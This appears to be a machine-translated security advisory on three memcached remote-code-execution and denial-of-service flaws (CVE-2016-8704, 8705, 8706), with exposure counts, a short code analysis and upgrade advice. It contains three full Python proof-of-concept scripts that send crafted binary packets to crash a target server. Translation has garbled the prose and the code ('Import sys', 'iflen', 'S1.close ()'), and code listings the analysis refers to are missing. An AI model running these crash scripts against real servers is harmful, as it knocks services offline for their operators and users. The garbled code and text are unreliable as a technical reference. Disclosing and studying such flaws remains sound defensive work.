On October 31, 2016, memcached's official website fixed multiple vulnerabilities, including Remote Code Execution Vulnerability and denial of service vulnerability. An attacker could gain server privileges or cause memcached to stop the service.
Memcached is a high-performance distributed memory object caching system, which is used in dynamic web applications to reduce database load. It reduces the number of times to read database by caching data and objects in memory, so as to improve the speed of dynamic and database driven website. Memcached supports multiple languages, such as Perl, PHP, python, ruby, C + +, Lua, etc. Many large enterprises in China use it.
Although most of the memcached services are deployed on the intranet, according to the fofa system statistics of white hat, 55128 memcached services are open to the outside world. The United States accounts for 21492. Next is China. At present, the data in fofa system is still increasing.
Principle and harm of loopholes
Memcached has multiple integer overflow vulnerabilities that can exploit remote code execution on the target system. These vulnerabilities occur when inserting, adding, changing, or modifying memcached functions of key data. If SASL verification is enabled on the compiled memcached system, the vulnerability may also be caused by defects of third parties.
An attacker can exploit this vulnerability by sending a crafted memcached command to the server. In addition, these vulnerabilities can also disclose sensitive process information and trigger multiple times. With these sensitive process information, attackers can bypass common vulnerability mitigation mechanisms such as ASLR.
If deployed in the intranet, hackers can make further use of the intranet permissions they have or have obtained. It is recommended to repair it as soon as possible.
Vulnerability impact
Memcached before v1.4.33
CVE number
Cve-2016-8704 - memcached append / prepend Remote Code Execution Vulnerability
Cve-2016-8705 - memcached update Remote Code Execution Vulnerability
Cve-2016-8706 - memcached SASL authentication Remote Code Execution Vulnerability
Scope of influence
A total of 55589 open memcached services worldwide were affected, with 13286 in China.
The figure below shows the global vulnerability impact distribution.
In China, there are 6606 in Zhejiang Province, accounting for nearly half of the total. There are 2392 in Beijing, 854 in Guangdong, 751 in Shanghai and 404 in Henan. The distribution of China is as follows:
Brief analysis of loopholes
Memcached has two versions of the protocol to store and retrieve arbitrary data, which are ASCII and binary. The binary protocol is optimized.
Integer overflow vulnerability is triggered by adding or replacing existing key value pairs.
The three vulnerabilities are all under the binary protocol, which is caused by the do item [alloc] function not checking the length of the copied data. Its code is as follows:
We can see that the above code uses nkey and nbytes to allocate the memory size, and the key variable will be copied to the allocated content. Then we can see that the program does not check the length. When the size of the key is larger than the allocated nkey space, the integer overflow will be caused. A malicious attacker can execute arbitrary code.
CVE-2016-8704
When the append (opcode 0x0e), prepend (opcode 0x0f), appendq (0x19), prependq (opcode 0x1a) command is executed, the process ﹐ bin ﹐ append ﹐ prepend function will be entered, and the following branches will be entered when parsing binary package
If you execute the append and prepend commands here, you will not check the length, and then enter the process ﹣ bin ﹣ append ﹣ prepend function. In the processing of this function, the key and vlen are not checked, and finally enter our vulnerability function to trigger the vulnerability.
CVE-2016-8705
In the execution of set (opcode 0x01), add (opcode 0x02), replace (opcode 0x03), setq (opcode 0X11), addq (opcode 0x12) and rplaceq (opcode 0x13) will enter the process ﹣ bin ﹣ update function, and enter the following branches when parsing binary package
When receiving the set, replace, and add operations, the bin read key function checks them. Note that keylen and bodylen are int type and uint Gu 32 respectively.
When you are finished, you will enter the process bin update function.
Note that in [1] and [2] nkey, len is of type int. recall that bodylen is an unsigned integer. In the second case, the arithmetic expression of the last value is assigned to an assigned variable. Then we execute our vulnerability function.
CVE-2016-8706
When SASL is used for authentication, the process ﹣ bin ﹣ SASL ﹣ auth function is entered:
Same as cve-2016-8704.
For details of vulnerability analysis, please see the original link at the end to view the original English version.
Vulnerability POC
Note: the following POCS can cause a denial of service, run with care. At the same time, do not use it for illegal purposes.
CVE-2016-8704
Save the following code as poc_crash.py and run Python poc_crash.py server port
import struct
import socket
Import sys
MEMCACHED_REQUEST_MAGIC= "\x80"
OPCODE_PREPEND_Q= "\x1a"
key_len =struct.pack("!H",0xfa)
extra_len ="\x00"
data_type ="\x00"
vbucket ="\x00\x00"
body_len =struct.pack("!I",0)
opaque = struct.pack("!I",0)
CAS =struct.pack("!Q",0)
body ="A"*1024
iflen(sys.argv) != 3:
print "./poc_crash.py<server> <port>"
packet =MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
packet +=data_type + vbucket + body_len + opaque + CAS
packet +=body
set_packet ="set testkey 0 60 4\r\ntest\r\n"
get_packet ="get testkey\r\n"
s1 =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((sys.argv[1],int(sys.argv[2])))
s1.sendall(set_packet)
prints1.recv(1024)
S1.close ()
s2 =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1],int(sys.argv[2])))
s2.sendall(packet)
prints2.recv(1024)
S2.close ()
s3 =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((sys.argv[1],int(sys.argv[2])))
s3.sendall(get_packet)
s3.recv(1024)
S3.close ()
The test effect diagram is as follows:
CVE-2016-8705
Save the following code as POC? Add.py, and then run Python POC? Add.py server port
import struct
import socket
Import sys
MEMCACHED_REQUEST_MAGIC= "\x80"
OPCODE_ADD ="\x02"
key_len =struct.pack("!H",0xfa)
extra_len ="\x08"
data_type ="\x00"
vbucket ="\x00\x00"
body_len =struct.pack("!I",0xffffffd0)
opaque =struct.pack("!I",0)
CAS =struct.pack("!Q",0)
extras_flags= 0xdeadbeef
extras_expiry= struct.pack("!I",0xe10)
body ="A"*1024
packet =MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len
packet +=data_type + vbucket + body_len + opaque + CAS
packet +=body
iflen(sys.argv)!=3:
print "./poc_add.py <server><port>"
s =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.sendall(packet)
prints.recv(1024)
S.close ()
CVE-2016-8706
Save the following code as POC? Sasl.py, and then run Python POC? Sasl.py server port
import struct
import socket
Import sys
MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_SET = "\x21"
key_len = struct.pack("!H",32)
body_len = struct.pack("!I",1)
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len+ body_len*2 + "A"*1000
if len(sys.argv) != 3:
print"./poc_sasl.py <server> <ip>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
S.close ()
Restoration proposal
1. Upgrade to the latest version: the official latest version is v1.4.33
Download address: http://www.memcached.org/files/memcached-1.4.33.tar.gz
2. Restrict access to port 11211, and set policies and access permissions.
White hat will continue to follow up the loophole.
Reference resources
[1] https://github.com/memcached/memcached/wiki/ReleaseNotes1433
[2] http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html
[3] http://www.talosintelligence.com/reports/TALOS-2016-0219/
[4] http://www.talosintelligence.com/reports/TALOS-2016-0220/
[5] http://www.talosintelligence.com/reports/TALOS-2016-0221/
Focus on
Security big data
Enterprise Threat Intelligence